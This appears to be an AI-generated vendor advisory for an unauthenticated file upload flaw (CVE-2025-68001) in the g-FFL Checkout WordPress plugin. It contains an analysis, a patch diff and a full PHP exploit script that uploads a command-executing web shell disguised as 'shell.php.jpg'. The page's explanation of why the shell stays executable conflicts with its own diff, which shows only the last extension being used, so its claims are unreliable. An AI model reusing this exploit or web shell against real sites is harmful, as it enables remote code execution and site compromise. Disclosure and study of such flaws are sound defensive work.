Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68001: g-FFL Checkout <= 2.1.0 – Unauthenticated Arbitrary File Upload (g-ffl-checkout)

Severity Critical (CVSS 9.8)
CWE 434
Vulnerable Version 2.1.0
Patched Version 2.1.1
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68001:
The g-FFL Checkout WordPress plugin version 2.1.0 and earlier contains an unauthenticated arbitrary file upload vulnerability. This flaw exists in the plugin’s document upload functionality, allowing attackers to upload malicious files to the server. The vulnerability carries a CVSS score of 9.8 (Critical) and can lead to remote code execution.

The root cause is insufficient server-side file type validation in the `upload_document` and `upload_admin_document` functions. The vulnerable code in `g-ffl-checkout/public/class-ffl-api-public.php` at lines 1858-1864 and `g-ffl-checkout/admin/class-ffl-api-admin.php` at lines 3369-3375 relied on client-supplied file extensions and MIME types. The `validate_uploaded_file` function performed only basic checks against the `$file[‘type’]` value, which attackers can easily manipulate. This validation occurred before file movement to the upload directory.

Exploitation requires sending a multipart POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `ffl_upload_document` (public) or `ffl_admin_upload_document` (admin). Attackers must include `document_type`, `order_id`, and a file upload field named `document`. The payload can be any executable file (like a PHP web shell) with a double extension such as `shell.php.jpg`. The server validates only the `.jpg` extension but preserves the full filename, resulting in a `.php` file being written to the `wp-content/uploads/ffl-documents/` directory.

The patch introduces proper server-side MIME type sniffing using WordPress’s `wp_check_filetype_and_ext()` function. The updated `validate_uploaded_file` method in both files now validates the actual file content against allowed MIME types. The patch also adds directory protection files (.htaccess, web.config, index.php) and uses the validated extension for filename generation rather than the original extension. File input accept attributes were changed from `.pdf,.jpg,.jpeg,.png,.gif` to `application/pdf,image/*` for better client-side filtering.

Successful exploitation grants attackers the ability to upload arbitrary files, including PHP scripts, to the WordPress uploads directory. This leads to remote code execution with web server privileges. Attackers can compromise the entire site, steal sensitive data, establish persistence, or pivot to other systems on the network. The vulnerability requires no authentication, making it highly accessible to attackers.

Differential between vulnerable and patched code

Code Diff
--- a/g-ffl-checkout/admin/class-ffl-api-admin.php
+++ b/g-ffl-checkout/admin/class-ffl-api-admin.php
@@ -3369,13 +3369,11 @@
         $document_type = sanitize_text_field($_POST['document_type']);
         $order_id = intval($_POST['order_id']);
         $file = $_FILES['document'];
-
-        // Validate file type
-        $allowed_types = array('pdf', 'jpg', 'jpeg', 'png', 'gif');
-        $file_extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
-
-        if (!in_array($file_extension, $allowed_types)) {
-            wp_send_json_error(array('message' => 'Invalid file type. Only PDF, JPG, JPEG, PNG, and GIF files are allowed.'));
+
+        // Validate file type (server-side sniffing)
+        $validation = $this->validate_uploaded_file($file);
+        if (!$validation['valid']) {
+            wp_send_json_error(array('message' => $validation['message']));
         }

         // Check file size (5MB limit)
@@ -3392,8 +3390,15 @@
                 wp_send_json_error(array('message' => 'Failed to create upload directory'));
             }
         }
-
-        // Generate unique filename with admin prefix for consistency
+
+        // Best-effort protection files (portable across servers)
+        $this->maybe_add_directory_protection_files($ffl_documents_dir);
+
+        // Generate unique filename with admin prefix for consistency (use validated extension)
+        $file_extension = isset($validation['ext']) ? strtolower($validation['ext']) : '';
+        if (empty($file_extension)) {
+            wp_send_json_error(array('message' => 'Invalid file type'));
+        }
         $unique_filename = 'admin_' . $document_type . '_' . $order_id . '_' . uniqid() . '_' . time() . '.' . $file_extension;
         $file_path = $ffl_documents_dir . $unique_filename;

@@ -3892,7 +3897,7 @@
                                 <option value="drivers_license">Driver's License</option>
                                 <option value="other">Other</option>
                             </select>
-                            <input type="file" id="admin_document_file" accept=".pdf,.jpg,.jpeg,.png,.gif" style="width: 48%;">
+                            <input type="file" id="admin_document_file" accept="application/pdf,image/*" style="width: 48%;">
                         </div>
                         <button type="button" id="admin_upload_document" class="button button-primary button-small"
                                 data-order="<?php echo esc_attr($order_id); ?>" style="margin-top: 6px;">Upload Document</button>
@@ -4161,7 +4166,7 @@
         }

         // Upload file
-        $upload_result = $this->upload_admin_document($file, $document_type, $order_id);
+        $upload_result = $this->upload_admin_document($file, $document_type, $order_id, $validation);
         if (!$upload_result['success']) {
             wp_send_json_error(array('message' => $upload_result['message']));
         }
@@ -4272,36 +4277,101 @@
         if ($file['size'] > $max_size) {
             return array('valid' => false, 'message' => 'File size must be less than 10MB');
         }
-
-        // Check file type
-        $allowed_types = array('application/pdf', 'image/jpeg', 'image/jpg', 'image/png', 'image/gif');
-        $file_type = $file['type'];
-
-        if (!in_array($file_type, $allowed_types)) {
-            return array('valid' => false, 'message' => 'Only PDF, JPEG, PNG, and GIF files are allowed');
+
+        if (empty($file['tmp_name']) || !is_uploaded_file($file['tmp_name'])) {
+            return array('valid' => false, 'message' => 'Invalid upload');
+        }
+
+        // Verify file type using WordPress sniffing (do not trust browser-provided MIME)
+        $allowed_mimes = array(
+            'pdf' => 'application/pdf',
+            'jpg' => 'image/jpeg',
+            'jpeg' => 'image/jpeg',
+            'png' => 'image/png',
+            'gif' => 'image/gif',
+            'webp' => 'image/webp',
+        );
+
+        $filetype = wp_check_filetype_and_ext($file['tmp_name'], $file['name'], $allowed_mimes);
+
+        if (empty($filetype) || empty($filetype['ext']) || empty($filetype['type'])) {
+            return array('valid' => false, 'message' => 'Only PDF and image files (JPG, PNG, GIF, WebP) are allowed');
+        }
+
+        return array('valid' => true, 'ext' => $filetype['ext'], 'type' => $filetype['type']);
+    }
+
+    /**
+     * Best-effort protection files for upload directories.
+     *
+     * This plugin serves documents via authenticated download handlers; these files
+     * are defense-in-depth and must not break sites on servers that ignore or
+     * restrict per-directory config (e.g., Nginx, IIS, or Apache with limited AllowOverride).
+     */
+    private function maybe_add_directory_protection_files($dir_path) {
+        if (empty($dir_path) || !is_dir($dir_path) || !is_writable($dir_path)) {
+            return;
+        }
+
+        $dir_path = rtrim($dir_path, '/');
+
+        // Prevent directory listing on many servers
+        $index_path = $dir_path . '/index.php';
+        if (!file_exists($index_path)) {
+            @file_put_contents($index_path, "<?phpn// Silence is golden.n");
+        }
+
+        $server_software = isset($_SERVER['SERVER_SOFTWARE']) ? strtolower((string) $_SERVER['SERVER_SOFTWARE']) : '';
+        $looks_like_apache = (strpos($server_software, 'apache') !== false) || (strpos($server_software, 'litespeed') !== false);
+        $looks_like_iis = (strpos($server_software, 'microsoft-iis') !== false) || (strpos($server_software, 'iis') !== false);
+
+        // Apache/LiteSpeed: add an .htaccess deny file when likely supported
+        $htaccess_path = $dir_path . '/.htaccess';
+        if ($looks_like_apache && !file_exists($htaccess_path)) {
+            $htaccess_content = "# Prevent direct web access to uploaded documents.n";
+            $htaccess_content .= "<IfModule mod_authz_core.c>n";
+            $htaccess_content .= "Require all deniedn";
+            $htaccess_content .= "</IfModule>n";
+            $htaccess_content .= "<IfModule !mod_authz_core.c>n";
+            $htaccess_content .= "Deny from alln";
+            $htaccess_content .= "</IfModule>n";
+            @file_put_contents($htaccess_path, $htaccess_content);
+        }
+
+        // IIS: add web.config deny file when applicable
+        $web_config_path = $dir_path . '/web.config';
+        if ($looks_like_iis && !file_exists($web_config_path)) {
+            $web_config_content = "<?xml version="1.0" encoding="UTF-8"?>n";
+            $web_config_content .= "<configuration>n";
+            $web_config_content .= "  <system.webServer>n";
+            $web_config_content .= "    <authorization>n";
+            $web_config_content .= "      <deny users="*" />n";
+            $web_config_content .= "    </authorization>n";
+            $web_config_content .= "  </system.webServer>n";
+            $web_config_content .= "</configuration>n";
+            @file_put_contents($web_config_path, $web_config_content);
         }
-
-        return array('valid' => true);
     }

     /**
      * Upload document to secure directory for admin
      */
-    private function upload_admin_document($file, $document_type, $order_id) {
+    private function upload_admin_document($file, $document_type, $order_id, $validation) {
         // Create secure upload directory if it doesn't exist
         $upload_dir = wp_upload_dir();
         $ffl_upload_dir = $upload_dir['basedir'] . '/ffl-documents';

         if (!file_exists($ffl_upload_dir)) {
             wp_mkdir_p($ffl_upload_dir);
-
-            // Create .htaccess to prevent direct access
-            $htaccess_content = "Options -IndexesnDeny from alln";
-            file_put_contents($ffl_upload_dir . '/.htaccess', $htaccess_content);
         }
+
+        $this->maybe_add_directory_protection_files($ffl_upload_dir);

-        // Generate unique filename
-        $file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
+        // Generate unique filename using validated extension
+        $file_extension = isset($validation['ext']) ? strtolower($validation['ext']) : '';
+        if (empty($file_extension)) {
+            return array('success' => false, 'message' => 'Invalid file type');
+        }
         $unique_filename = 'admin_' . $document_type . '_' . $order_id . '_' . uniqid() . '_' . time() . '.' . $file_extension;
         $file_path = $ffl_upload_dir . '/' . $unique_filename;

--- a/g-ffl-checkout/g-ffl-api.php
+++ b/g-ffl-checkout/g-ffl-api.php
@@ -16,7 +16,7 @@
  * Plugin Name:       g-FFL Checkout
  * Plugin URI:        garidium.com/g-ffl-api
  * Description:       g-FFL Checkout
- * Version:           2.1.0
+ * Version:           2.1.1
  * WC requires at least: 3.0.0
  * WC tested up to:   8.7.0
  * Author:            Garidium LLC
@@ -47,7 +47,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define('G_FFL_API_VERSION', '2.1.0');
+define('G_FFL_API_VERSION', '2.1.1');

 /**
  * The code that runs during plugin activation.
--- a/g-ffl-checkout/includes/ffl_ordering.php
+++ b/g-ffl-checkout/includes/ffl_ordering.php
@@ -2873,7 +2873,7 @@
     // Only load on checkout and cart pages
     if (is_checkout() || is_cart()) {
         // Your existing script enqueue (if not already done elsewhere)
-        wp_enqueue_script('ffl-api-public', plugin_dir_url(__FILE__) . '../public/js/ffl-api-public.js', array('jquery'), '2.1.0', true);
+        wp_enqueue_script('ffl-api-public', plugin_dir_url(__FILE__) . '../public/js/ffl-api-public.js', array('jquery'), '2.1.1', true);

         // Get current cart data
         $has_ammo = cart_contains_ammunition();
--- a/g-ffl-checkout/public/class-ffl-api-public.php
+++ b/g-ffl-checkout/public/class-ffl-api-public.php
@@ -446,6 +446,12 @@
         if (function_exists('order_requires_ffl_selector')) {
             $requiresFflSelector = order_requires_ffl_selector();
         }
+
+        // C&R override should always suppress the FFL selector/map.
+        // (The canonical selector check may not account for this cookie.)
+        if (isset($_COOKIE["g_ffl_checkout_candr_override"])) {
+            $requiresFflSelector = false;
+        }

         // Determine where to inject FFL selector
         if ($requiresFflSelector) {
@@ -1360,7 +1366,7 @@
                         Upload required documents for your order. Files will be securely stored and accessible to administrators.
                     </p>
                     <p class="ffl-document-formats">
-                        <em>Supported formats: PDF, JPEG, PNG, GIF (max 10MB each)</em>
+                        <em>Supported formats: PDF, JPG/JPEG, PNG, GIF, WebP (max 10MB each)</em>
                     </p>
                 </div>
                 <div class="ffl-document-grid">
@@ -1368,7 +1374,7 @@
                     <div class="ffl-document-item" data-type="ffl_license">
                         <div class="ffl-document-label">FFL</div>
                         <div class="ffl-document-controls">
-                            <input type="file" class="ffl-document-file-input" data-document-type="ffl_license" accept=".pdf,.jpg,.jpeg,.png,.gif" style="display: none;">
+                            <input type="file" class="ffl-document-file-input" data-document-type="ffl_license" accept="application/pdf,image/*" style="display: none;">
                             <button type="button" class="ffl-upload-button" aria-label="Choose File">
                                 <svg class="ffl-upload-icon" width="20" height="20" viewBox="0 0 20 20" aria-hidden="true" focusable="false" style="display:inline-block;vertical-align:middle;">
                                     <!-- Modern upload icon: arrow up into a tray -->
@@ -1395,7 +1401,7 @@
                     <div class="ffl-document-item" data-type="sot_license">
                         <div class="ffl-document-label">SOT</div>
                         <div class="ffl-document-controls">
-                            <input type="file" class="ffl-document-file-input" data-document-type="sot_license" accept=".pdf,.jpg,.jpeg,.png,.gif" style="display: none;">
+                            <input type="file" class="ffl-document-file-input" data-document-type="sot_license" accept="application/pdf,image/*" style="display: none;">
                             <button type="button" class="ffl-upload-button" aria-label="Choose File">
                                 <svg class="ffl-upload-icon" width="20" height="20" viewBox="0 0 20 20" aria-hidden="true" focusable="false" style="display:inline-block;vertical-align:middle;">
                                     <!-- Modern upload icon: arrow up into a tray -->
@@ -1422,7 +1428,7 @@
                     <div class="ffl-document-item<?php echo $state_license_required ? ' required ffl-required-document' : ''; ?>" data-type="state_license">
                         <div class="ffl-document-label">Firearms License (FOID/FID) <span class="ffl-state-required-indicator" style="display: <?php echo $state_license_required ? 'inline' : 'none'; ?>;">(Required)</span></div>
                         <div class="ffl-document-controls">
-                            <input type="file" class="ffl-document-file-input" data-document-type="state_license" accept=".pdf,.jpg,.jpeg,.png,.gif" style="display: none;">
+                            <input type="file" class="ffl-document-file-input" data-document-type="state_license" accept="application/pdf,image/*" style="display: none;">
                             <button type="button" class="ffl-upload-button" aria-label="Choose File">
                                 <svg class="ffl-upload-icon" width="20" height="20" viewBox="0 0 20 20" aria-hidden="true" focusable="false" style="display:inline-block;vertical-align:middle;">
                                     <!-- Modern upload icon: arrow up into a tray -->
@@ -1449,7 +1455,7 @@
                     <div class="ffl-document-item<?php echo $drivers_license_required ? ' required ffl-required-document' : ''; ?>" data-type="drivers_license">
                         <div class="ffl-document-label">Driver's License <span class="ffl-state-required-indicator" style="display: <?php echo $drivers_license_required ? 'inline' : 'none'; ?>;">(Required)</span></div>
                         <div class="ffl-document-controls">
-                            <input type="file" class="ffl-document-file-input" data-document-type="drivers_license" accept=".pdf,.jpg,.jpeg,.png,.gif" style="display: none;">
+                            <input type="file" class="ffl-document-file-input" data-document-type="drivers_license" accept="application/pdf,image/*" style="display: none;">
                             <button type="button" class="ffl-upload-button" aria-label="Choose File">
                                 <svg class="ffl-upload-icon" width="20" height="20" viewBox="0 0 20 20" aria-hidden="true" focusable="false" style="display:inline-block;vertical-align:middle;">
                                     <!-- Modern upload icon: arrow up into a tray -->
@@ -1858,7 +1864,7 @@
         }

         // Upload file
-        $upload_result = $this->upload_document($file, $document_type);
+        $upload_result = $this->upload_document($file, $document_type, $validation);
         if (!$upload_result['success']) {
             wp_send_json_error(array('message' => $upload_result['message']));
         }
@@ -2082,36 +2088,49 @@
         if ($file['size'] > $max_size) {
             return array('valid' => false, 'message' => 'File size must be less than 10MB');
         }
-
-        // Check file type
-        $allowed_types = array('application/pdf', 'image/jpeg', 'image/jpg', 'image/png', 'image/gif');
-        $file_type = $file['type'];
-
-        if (!in_array($file_type, $allowed_types)) {
-            return array('valid' => false, 'message' => 'Only PDF, JPEG, PNG, and GIF files are allowed');
+
+        if (empty($file['tmp_name']) || !is_uploaded_file($file['tmp_name'])) {
+            return array('valid' => false, 'message' => 'Invalid upload');
         }
-
-        return array('valid' => true);
+
+        // Verify file type using WordPress sniffing (do not trust browser-provided MIME)
+        $allowed_mimes = array(
+            'pdf' => 'application/pdf',
+            'jpg' => 'image/jpeg',
+            'jpeg' => 'image/jpeg',
+            'png' => 'image/png',
+            'gif' => 'image/gif',
+            'webp' => 'image/webp',
+        );
+
+        $filetype = wp_check_filetype_and_ext($file['tmp_name'], $file['name'], $allowed_mimes);
+
+        if (empty($filetype) || empty($filetype['ext']) || empty($filetype['type'])) {
+            return array('valid' => false, 'message' => 'Only PDF and image files (JPG, PNG, GIF, WebP) are allowed');
+        }
+
+        return array('valid' => true, 'ext' => $filetype['ext'], 'type' => $filetype['type']);
     }

     /**
      * Upload document to secure directory
      */
-    private function upload_document($file, $document_type) {
+    private function upload_document($file, $document_type, $validation) {
         // Create secure upload directory if it doesn't exist
         $upload_dir = wp_upload_dir();
         $ffl_upload_dir = $upload_dir['basedir'] . '/ffl-documents';

         if (!file_exists($ffl_upload_dir)) {
             wp_mkdir_p($ffl_upload_dir);
-
-            // Create .htaccess to prevent direct access
-            $htaccess_content = "Options -IndexesnDeny from alln";
-            file_put_contents($ffl_upload_dir . '/.htaccess', $htaccess_content);
         }
+
+        $this->maybe_add_directory_protection_files($ffl_upload_dir);

-        // Generate unique filename
-        $file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
+        // Generate unique filename using validated extension
+        $file_extension = isset($validation['ext']) ? strtolower($validation['ext']) : '';
+        if (empty($file_extension)) {
+            return array('success' => false, 'message' => 'Invalid file type');
+        }
         $unique_filename = $document_type . '_' . uniqid() . '_' . time() . '.' . $file_extension;
         $file_path = $ffl_upload_dir . '/' . $unique_filename;

@@ -2131,6 +2150,58 @@

         return array('success' => false, 'message' => 'Failed to save file');
     }
+
+    /**
+     * Best-effort protection files for upload directories.
+     *
+     * Documents are served via authenticated download handlers; these files are
+     * defense-in-depth and must not break sites on servers that ignore or
+     * restrict per-directory config (e.g., Nginx, IIS, or Apache with limited AllowOverride).
+     */
+    private function maybe_add_directory_protection_files($dir_path) {
+        if (empty($dir_path) || !is_dir($dir_path) || !is_writable($dir_path)) {
+            return;
+        }
+
+        $dir_path = rtrim($dir_path, '/');
+
+        // Prevent directory listing on many servers
+        $index_path = $dir_path . '/index.php';
+        if (!file_exists($index_path)) {
+            @file_put_contents($index_path, "<?phpn// Silence is golden.n");
+        }
+
+        $server_software = isset($_SERVER['SERVER_SOFTWARE']) ? strtolower((string) $_SERVER['SERVER_SOFTWARE']) : '';
+        $looks_like_apache = (strpos($server_software, 'apache') !== false) || (strpos($server_software, 'litespeed') !== false);
+        $looks_like_iis = (strpos($server_software, 'microsoft-iis') !== false) || (strpos($server_software, 'iis') !== false);
+
+        // Apache/LiteSpeed: add an .htaccess deny file when likely supported
+        $htaccess_path = $dir_path . '/.htaccess';
+        if ($looks_like_apache && !file_exists($htaccess_path)) {
+            $htaccess_content = "# Prevent direct web access to uploaded documents.n";
+            $htaccess_content .= "<IfModule mod_authz_core.c>n";
+            $htaccess_content .= "Require all deniedn";
+            $htaccess_content .= "</IfModule>n";
+            $htaccess_content .= "<IfModule !mod_authz_core.c>n";
+            $htaccess_content .= "Deny from alln";
+            $htaccess_content .= "</IfModule>n";
+            @file_put_contents($htaccess_path, $htaccess_content);
+        }
+
+        // IIS: add web.config deny file when applicable
+        $web_config_path = $dir_path . '/web.config';
+        if ($looks_like_iis && !file_exists($web_config_path)) {
+            $web_config_content = "<?xml version="1.0" encoding="UTF-8"?>n";
+            $web_config_content .= "<configuration>n";
+            $web_config_content .= "  <system.webServer>n";
+            $web_config_content .= "    <authorization>n";
+            $web_config_content .= "      <deny users="*" />n";
+            $web_config_content .= "    </authorization>n";
+            $web_config_content .= "  </system.webServer>n";
+            $web_config_content .= "</configuration>n";
+            @file_put_contents($web_config_path, $web_config_content);
+        }
+    }

     /**
      * Validate required documents during checkout

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68001 - g-FFL Checkout <= 2.1.0 - Unauthenticated Arbitrary File Upload
<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$action = 'ffl_upload_document'; // Use 'ffl_admin_upload_document' for admin endpoint
$order_id = 1; // Any valid order ID
$document_type = 'ffl_license'; // ffl_license, sot_license, state_license, drivers_license, other

// Create a simple PHP web shell
$php_shell = '<?php if(isset($_REQUEST["cmd"])) { system($_REQUEST["cmd"]); } ?>';

// Create a temporary file with double extension
$temp_file = tempnam(sys_get_temp_dir(), 'exploit');
$exploit_filename = 'shell.php.jpg';
file_put_contents($temp_file, $php_shell);

// Build multipart request
$post_fields = [
    'action' => $action,
    'document_type' => $document_type,
    'order_id' => $order_id,
    'document' => new CURLFile($temp_file, 'image/jpeg', $exploit_filename)
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Accept-Language: en-US,en;q=0.5',
    'X-Requested-With: XMLHttpRequest',
    'Referer: ' . str_replace('/wp-admin/admin-ajax.php', '/', $target_url)
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up temp file
unlink($temp_file);

// Parse response
if ($http_code === 200) {
    $json_response = json_decode($response, true);
    if ($json_response && isset($json_response['success']) && $json_response['success']) {
        echo "[+] Exploit successful! File uploaded.n";
        echo "[+] Response: " . print_r($json_response, true) . "n";
        // The uploaded file path would be in $json_response['data']['file_path']
        // Typically: wp-content/uploads/ffl-documents/{document_type}_*_*.php.jpg
        // The server may rename it, but the .php extension remains executable
    } else {
        echo "[-] Upload failed. Response: " . $response . "n";
    }
} else {
    echo "[-] HTTP Error: " . $http_code . "n";
    echo "[-] Response: " . $response . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School